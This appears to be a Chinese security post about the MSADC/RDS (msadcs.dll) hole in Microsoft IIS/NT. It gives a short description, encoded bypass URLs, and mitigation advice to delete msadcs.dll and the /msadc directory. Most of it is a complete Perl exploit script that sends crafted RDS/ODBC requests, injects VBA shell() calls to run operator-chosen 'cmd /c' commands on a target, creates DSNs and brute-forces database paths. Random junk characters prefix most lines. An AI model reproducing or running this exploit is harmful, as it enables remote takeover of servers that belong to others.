IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
8w L%(p _~a5;[~ 涉及程序:
/d
prs(*K Microsoft NT server
O&ZVu>`g #SIIhpjA( 描述:
ZG bY 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
jp viX#\S_ *$EcP`K$ 详细:
T<S_C$O 如果你没有时间读详细内容的话,就删除:
X+;{&Efrl c:\Program Files\Common Files\System\Msadc\msadcs.dll
^rIe"Kx 有关的安全问题就没有了。
x>*#cOVz;C BY!M(X
jrZ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
4Up\_ d|RDx;rl8 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
7@l.ZECJ1 关于利用ODBC远程漏洞的描述,请参看:
!a<}Mpeg 0w<G)p~%n http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9#D?wR#J= oH]"F 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
o.M.zkP a http://www.microsoft.com/security/bulletins/MS99-025faq.asp \o=YsJ8U gRQV)8uh 这里不再论述。
gaa;PX LG>lj$hO 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
`8<h aU 9&7$oI$!J /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-eSZpz p 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
H;=++Dh >+E
\o2cztl= #将下面这段保存为txt文件,然后: "perl -x 文件名"
,!'L~{ %3A~& #!perl
+tSfx #
2pn8PQfg) # MSADC/RDS 'usage' (aka exploit) script
-lNT"9 #
kjOPsz*0 # by rain.forest.puppy
q>H f2R #
?84B0K2Ns # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?)i`)mu' # beta test and find errors!
R7j'XU Mw9;O6 use Socket; use Getopt::Std;
?> 7SZiC` getopts("e:vd:h:XR", \%args);
nD/;
Gq u~VvGLFf5, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
_hbTxyj 3El5g0'G if (!defined $args{h} && !defined $args{R}) {
B9Y*'hmI print qq~
QXg9ah~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
'vV|un(6 -h <host> = host you want to scan (ip or domain)
0b~{l; -d <seconds> = delay between calls, default 1 second
jUg.Y98 -X = dump Index Server path table, if available
w=MiJr#3^ -v = verbose
dB%q`7O -e = external dictionary file for step 5
)Fw{|7@N >ho$mvT
Or a -R will resume a command session
SB}0u=5 s_`=ugue ~; exit;}
c[RkiV3 `SH#t3
5, $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
oM4Q_A n if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
>L {s[pLJ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
o6LZ05Z-& if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8R;A5o, $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
E`aAPk_y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
e"]*^Q U6M3,"? if (!defined $args{R}){ $ret = &has_msadc;
~+r"%KnG die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}'.k pcl'!8&7 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
dX8N7{"[ . "cmd /c ";
h..D1(M $in=<STDIN>; chomp $in;
@%}4R`S0 $command="cmd /c " . $in ;
?.%'[n>P 4EtP| if (defined $args{R}) {&load; exit;}
f+o%N Pk6l*+"r< print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
1P1"xT &try_btcustmr;
~Vf+@_G8` 1O{x9a5Z?O print "\nStep 2: Trying to make our own DSN...";
7ga|4j3% &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
6;8Jy z/&2Se: print "\nStep 3: Trying known DSNs...";
"`''eV3 &known_dsn;
8p)*;Y j4hiMI; print "\nStep 4: Trying known .mdbs...";
ds9L4zfO &known_mdb;
+o94w^'^$b Z F&aV? if (defined $args{e}){
AO"pm print "\nStep 5: Trying dictionary of DSN names...";
gPrIu+|F &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
gBZ1We u-' |&hu3-( print "Sorry Charley...maybe next time?\n";
*'q6#\#. exit;
},@1i<Bb z%cpV{Nu ##############################################################################
}VUrn2@-4 b9(_bsc sub sendraw { # ripped and modded from whisker
N-g=_86C" sleep($delay); # it's a DoS on the server! At least on mine...
!gm;g}]szG my ($pstr)=@_;
.2V`sg.! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'Lb-+X, die("Socket problems\n");
D:yj#&I if(connect(S,pack "SnA4x8",2,80,$target)){
.7"]/9oB select(S); $|=1;
;[ag|YU$Y print $pstr; my @in=<S>;
C~&~Ano, select(STDOUT); close(S);
jZX2)# a! return @in;
HpD<NVu } else { die("Can't connect...\n"); }}
tAM t7p- ~H)s>6>#v ##############################################################################
ygA~d9" WHM|kt sub make_header { # make the HTTP request
N7b+GqYpF> my $msadc=<<EOT
6zGM[2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
K Qz.g3, User-Agent: ACTIVEDATA
9Un3La8PX Host: $ip
86BY032H Content-Length: $clen
JQtBt2 Connection: Keep-Alive
s$,gM,|cK N5SePA\ ,? ADCClientVersion:01.06
jM'kY|<g; Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
&H`A S6 >)&]Ss5J --!ADM!ROX!YOUR!WORLD!
TI9]v( Content-Type: application/x-varg
Hlr[x Content-Length: $reqlen
HL^+:`, tlnU2TT_f EOT
0E5"}8 ; $msadc=~s/\n/\r\n/g;
*88Q6=Mm return $msadc;}
E W{vF| :=iP_*# ##############################################################################
8?>
# %rmn+L),; sub make_req { # make the RDS request
\.`;p my ($switch, $p1, $p2)=@_;
ka^sOC+Y my $req=""; my $t1, $t2, $query, $dsn;
K9*vWoP' ^4\hZ if ($switch==1){ # this is the btcustmr.mdb query
B`)gXqBt $query="Select * from Customers where City=" . make_shell();
C`Oc%~UkC $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_Prh&Q1zs $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
`k 5'nnyP sr=~Uq{g elsif ($switch==2){ # this is general make table query
gNsas:iGM $query="create table AZZ (B int, C varchar(10))";
/ mM# nS $dsn="$p1";}
o<Esh;;*nm Ju"*;/ elsif ($switch==3){ # this is general exploit table query
%l#i9$s $query="select * from AZZ where C=" . make_shell();
T;f`ND2fY $dsn="$p1";}
;!ICLkc$ DaN=NURDV elsif ($switch==4){ # attempt to hork file info from index server
G=.vo3 $query="select path from scope()";
3($ cBC $dsn="Provider=MSIDXS;";}
$E j;CN59 nkp, elsif ($switch==5){ # bad query
5 +Ei!E89 $query="select";
us,!U $dsn="$p1";}
/*zngp@ )nK-39,G $t1= make_unicode($query);
X4c|*U=4 $t2= make_unicode($dsn);
EU@
BNja $req = "\x02\x00\x03\x00";
RWe$ZZSz! $req.= "\x08\x00" . pack ("S1", length($t1));
8%@![$q<g $req.= "\x00\x00" . $t1 ;
?nLlZpZ2v $req.= "\x08\x00" . pack ("S1", length($t2));
Cw*:` $req.= "\x00\x00" . $t2 ;
a+U^mPe $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*CIR$sS return $req;}
V+A9.KoI G<2OL#Y- ##############################################################################
S[2uez` g?e$B}% sub make_shell { # this makes the shell() statement
&$1ifG return "'|shell(\"$command\")|'";}
&^v5 x" !R;NV|.eI6 ##############################################################################
O7M8!3Eqm E=H>|FgS sub make_unicode { # quick little function to convert to unicode
z^ai * my ($in)=@_; my $out;
J@Qt(rRxi for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
YKUb'D:t] return $out;}
va>u1S<lO B=>VP-: ##############################################################################
1&,d,< wb#ZRmx} sub rdo_success { # checks for RDO return success (this is kludge)
MsaD@JY.y my (@in) = @_; my $base=content_start(@in);
rwJCVkF if($in[$base]=~/multipart\/mixed/){
/#lqv)s' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6D=9J%; return 0;}
prWK U m=qEQy6#2u ##############################################################################
Rz #&v .~nk'm sub make_dsn { # this makes a DSN for us
0Z m^6T my @drives=("c","d","e","f");
yobcAV` print "\nMaking DSN: ";
pM|m*k foreach $drive (@drives) {
u/I|<NAC, print "$drive: ";
vj_[LFE my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
s U|\? pJ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
JB
<GV-l . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
/.1yxb#Z?, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>!D^F]CH return 0 if $2 eq "404"; # not found/doesn't exist
SJ4+s4!l
< if($2 eq "200") {
ep$C
nBwE foreach $line (@results) {
<T3 v|\6~H return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
YQH=]5r } return 0;}
)$>
pu{o KE~l#=S ##############################################################################
$+P6R`K A=PJg! sub verify_exists {
yx@%x?B my ($page)=@_;
E.'v,GYe my @results=sendraw("GET $page HTTP/1.0\n\n");
At0ahy+ return $results[0];}
7 K5D,"D;1 9GV1@'<Y] ##############################################################################
Qf>$'C(7!a (2SmB`g sub try_btcustmr {
\~r`2p-K my @drives=("c","d","e","f");
Cwh*AKq( my @dirs=("winnt","winnt35","winnt351","win","windows");
or8`.hEHI *%nV<}e^_= foreach $dir (@dirs) {
L/[b~D>T% print "$dir -> "; # fun status so you can see progress
=(3Yj[>st foreach $drive (@drives) {
PXx:JZsju print "$drive: "; # ditto
(/^s?`1{N? $reqlen=length( make_req(1,$drive,$dir) ) - 28;
?f8)_t}^\ $reqlenlen=length( "$reqlen" );
=^9I)JW $clen= 206 + $reqlenlen + $reqlen;
v<_wf &P0jRT3e#Y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
v>[U*E if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
w
YEkWB^ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&c|3v! 4X1!t ##############################################################################
vOIzfwYG9 -K@mjN sub odbc_error {
lB(E:{6OZ my (@in)=@_; my $base;
<73dXTZ0 my $base = content_start(@in);
\C&[BQ\ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
OpNxd]"T $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
DO^J=e $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GBvgVX< $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ROWI.| return $in[$base+4].$in[$base+5].$in[$base+6];}
UA8*8%v print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
FYLBaN print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
UyUz_6J $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
+wHrS}I#g HkL:3 E. ##############################################################################
m-v0=+~& >x3$Ld sub verbose {
C9FzTg/c my ($in)=@_;
+NT8dd return if !$verbose;
O6[4=4L print STDOUT "\n$in\n";}
_1hiNh$ L%CBz]` ##############################################################################
j1141md5 :f/T$fa* sub save {
|c)hyw?[Y my ($p1, $p2, $p3, $p4)=@_;
:,@\q0j"= open(OUT, ">rds.save") || print "Problem saving parameters...\n";
TOx >Z print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}<9IH%sgF close OUT;}
] oMtqkiR eJvNUBDSH ##############################################################################
n$u@v(I Bs!F |x( sub load {
qj#C8Tc7 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z*w.A=r open(IN,"<rds.save") || die("Couldn't open rds.save\n");
_X6@.sM/2 @p=<IN>; close(IN);
TSEv^u)3 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
>* )fmfY $target= inet_aton($ip) || die("inet_aton problems");
fN!lXPgM print "Resuming to $ip ...";
y[64O x $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
b;5&V_ if($p[1]==1) {
h6(\ tRd!\ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
(rE.ft5$9 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
~85>.o2RDW my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
xe&w.aBI> if (rdo_success(@results)){print "Success!\n";}
t9\}!{<s else { print "failed\n"; verbose(odbc_error(@results));}}
N fBH elsif ($p[1]==3){
2N}U B=J if(run_query("$p[3]")){
t8?$q})RL print "Success!\n";} else { print "failed\n"; }}
^D5+S`V elsif ($p[1]==4){
tZL {;@ if(run_query($drvst . "$p[3]")){
nc[Kh8N9 print "Success!\n"; } else { print "failed\n"; }}
xo.k:F exit;}
Q|7$SS6$ {u(( y D ##############################################################################
8-u #<D . nSr_sD6" sub create_table {
7@NV|Idtd my ($in)=@_;
&~K4I $reqlen=length( make_req(2,$in,"") ) - 28;
8 t5o&8v $reqlenlen=length( "$reqlen" );
]/6i#fTw $clen= 206 + $reqlenlen + $reqlen;
4Nl3"@<$ my @results=sendraw(make_header() . make_req(2,$in,""));
kc7,F2=F return 1 if rdo_success(@results);
c2RQwtN| my $temp= odbc_error(@results); verbose($temp);
_C54l return 1 if $temp=~/Table 'AZZ' already exists/;
xiy=D5N.= return 0;}
V=de3k&p VxAG=E ##############################################################################
I
R|[&} z h3rVa6cxM sub known_dsn {
[e f&|Pi- # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
rX}FhBl5 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
V)Sw\tS6g "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
x+8%4]u` "banner", "banners", "ads", "ADCDemo", "ADCTest");
5kik+ =1+/`w foreach $dSn (@dsns) {
+:kMYL3 print ".";
i?:#lbw_ next if (!is_access("DSN=$dSn"));
7ND4Booul if(create_table("DSN=$dSn")){
E"zC6iYZ; print "$dSn successful\n";
'>k1h.i if(run_query("DSN=$dSn")){
,v#O{ma print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
`>Ms7G9S~e print "Something's borked. Use verbose next time\n";}}} print "\n";}
-A^o5s 3jx /1VV ##############################################################################
_ -|+k ?3y>K!D(A sub is_access {
$U4[a: my ($in)=@_;
:X}fXgeL $reqlen=length( make_req(5,$in,"") ) - 28;
V<ii $reqlenlen=length( "$reqlen" );
8/<+p? 3p> $clen= 206 + $reqlenlen + $reqlen;
m(w 9s;< my @results=sendraw(make_header() . make_req(5,$in,""));
t\WU}aKML my $temp= odbc_error(@results);
0[f[6mm%m verbose($temp); return 1 if ($temp=~/Microsoft Access/);
INEE
37% return 0;}
g=$nNQ
\6= nyL$z-I) ##############################################################################
CI1K:K AM ! NJGW sub run_query {
"0Z5cQjg my ($in)=@_;
'?Xf(6o1 $reqlen=length( make_req(3,$in,"") ) - 28;
E>N [ $reqlenlen=length( "$reqlen" );
+E']&v$ $clen= 206 + $reqlenlen + $reqlen;
Vy6~O|68= my @results=sendraw(make_header() . make_req(3,$in,""));
B9wQ;[gQB return 1 if rdo_success(@results);
}yaM.+8. my $temp= odbc_error(@results); verbose($temp);
jdkqJ4&i return 0;}
?-'GbOr! 1}~ZsrF ##############################################################################
P2F8[o!< gnadx52FP sub known_mdb {
.I]EP- my @drives=("c","d","e","f","g");
uNca@xl' my @dirs=("winnt","winnt35","winnt351","win","windows");
kP1cwmZ7F my $dir, $drive, $mdb;
iD<}r?Z my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/!sGO: R[l~E![!j # this is sparse, because I don't know of many
G!Yt.M0 my @sysmdbs=( "\\catroot\\icatalog.mdb",
n72kJ3u. "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
P?@o? "\\system32\\certmdb.mdb",
!{CaW4 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
/m4Y87 m95]
z18T' my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
o(C;;C(*{ "\\cfusion\\cfapps\\forums\\forums_.mdb",
})j N
8px "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
OVE?;x>n/1 "\\cfusion\\cfapps\\security\\realm_.mdb",
!DD4Bqez "\\cfusion\\cfapps\\security\\data\\realm.mdb",
hW` o-' "\\cfusion\\database\\cfexamples.mdb",
\wR\i^ "\\cfusion\\database\\cfsnippets.mdb",
]MC5 uKn "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
kG5Uc83#G "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
EHfB9%O7y "\\cfusion\\brighttiger\\database\\cleam.mdb",
@k\,XV`T~t "\\cfusion\\database\\smpolicy.mdb",
*J{E1])<a "\\cfusion\\database\cypress.mdb",
sq@c?!' "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y?-Ef
sK "\\website\\cgi-win\\dbsample.mdb",
TPLv]$n "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
1@9M[_<n5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
53?Ati\Y) ); #these are just
Qjd]BX; foreach $drive (@drives) {
|E;+j\ foreach $dir (@dirs){
cYBjsN(!A| foreach $mdb (@sysmdbs) {
RY1-Zjlb< print ".";
{Es1bO if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ZG?e% print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
KL*+gq0k if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
w_DaldK* print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
+??pej]Rp } else { print "Something's borked. Use verbose next time\n"; }}}}}
~S$ex,~ etQS&YzC foreach $drive (@drives) {
DR]4Tc z# foreach $mdb (@mdbs) {
sXtt$HID= print ".";
g?K? Fn.} if(create_table($drv . $drive . $dir . $mdb)){
],vid1E print "\n" . $drive . $dir . $mdb . " successful\n";
7%G&=8tq if(run_query($drv . $drive . $dir . $mdb)){
phB d+zQc print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Lhrlz,1 } else { print "Something's borked. Use verbose next time\n"; }}}}
=1xVw5^F }
/O`R9+; y'n<oSB} ##############################################################################
vu&ny&=` x![G'I sub hork_idx {
gZ-:4G|J print "\nAttempting to dump Index Server tables...\n";
@1U6sQ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
"ZA`Lp;%w $reqlen=length( make_req(4,"","") ) - 28;
O&}R $reqlenlen=length( "$reqlen" );
HGi%b5:<=M $clen= 206 + $reqlenlen + $reqlen;
cVYu(ssC4 my @results=sendraw2(make_header() . make_req(4,"",""));
WI.+9$1:P if (rdo_success(@results)){
eLbh1L my $max=@results; my $c; my %d;
AP8J28I for($c=19; $c<$max; $c++){
Yv2L0bUo: $results[$c]=~s/\x00//g;
kBY#=e). $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
_Y$v=!fY& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
OAEa+V $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
}=.C~f]A $d{"$1$2"}="";}
Hl*#iUq foreach $c (keys %d){ print "$c\n"; }
=vDpm, } else {print "Index server doesn't seem to be installed.\n"; }}
\jS^+Xf?^ uKB V`I ##############################################################################
FI)0.p Yp8XZ3 sub dsn_dict {
<y"lL>JR open(IN, "<$args{e}") || die("Can't open external dictionary\n");
woN
d7`C}7 while(<IN>){
}uO2x@ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Ri}JM3\J next if (!is_access("DSN=$dSn"));
iR8;^C.aT if(create_table("DSN=$dSn")){
@&9<)1F print "$dSn successful\n";
3E>]6 if(run_query("DSN=$dSn")){
LmUR@
/VQ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
g91xUG print "Something's borked. Use verbose next time\n";}}}
3wfJ!z-E8 print "\n"; close(IN);}
P(3$XMx -qLNs_
_k ##############################################################################
a t=;}}X .
ywVGBvJ sub sendraw2 { # ripped and modded from whisker
6+C]rEY/o
sleep($delay); # it's a DoS on the server! At least on mine...
@v.?z2h my ($pstr)=@_;
|Z$)t%' socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
g%D.sc)69 die("Socket problems\n");
#jg3Ku;Y if(connect(S,pack "SnA4x8",2,80,$target)){
HDz"i print "Connected. Getting data";
`[x'EJp# open(OUT,">raw.out"); my @in;
zCu+Oi6 select(S); $|=1; print $pstr;
[kPl7[OL while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
)Rj?\ZUR close(OUT); select(STDOUT); close(S); return @in;
*P`k |- } else { die("Can't connect...\n"); }}
wqyF"^It" |8{\j*3 ##############################################################################
b'RBel;W /EL3Tt sub content_start { # this will take in the server headers
={{q_G\WD my (@in)=@_; my $c;
Tcq@Q$H for ($c=1;$c<500;$c++) {
Tb]
h<S if($in[$c] =~/^\x0d\x0a/){
T3-/+4$0v if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
'jKCAU5/0; else { return $c+1; }}}
kQrby\F(< return -1;} # it should never get here actually
@X_)%Y-^O 1\5po^Oioy ##############################################################################
$- GwNG S^~
lQ|D sub funky {
X C'| my (@in)=@_; my $error=odbc_error(@in);
zZ8:>2Ps( if($error=~/ADO could not find the specified provider/){
{65_k print "\nServer returned an ADO miscofiguration message\nAborting.\n";
0EC/l
OS exit;}
dAjm4F- if($error=~/A Handler is required/){
?nf4K/IjZ! print "\nServer has custom handler filters (they most likely are patched)\n";
0'R}' exit;}
~VPE9D@ if($error=~/specified Handler has denied Access/){
hTQ]xN) print "\nServer has custom handler filters (they most likely are patched)\n";
B>
zQ[e@t exit;}}
vGp`P ul\FZT 4 ##############################################################################
IpVtbDW d*:J0J( sub has_msadc {
Wk]E6yz6 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
zBqNE` my $base=content_start(@results);
8ya|eJ]/L return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Ia>~ph#]{` return 0;}
Qs_]U qn `
\g ########################
~|`jIqU eak+8URo cUU"*bA# 解决方案:
;oRgg'k< 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
!]P=v`B. 2、移除web 目录: /msadc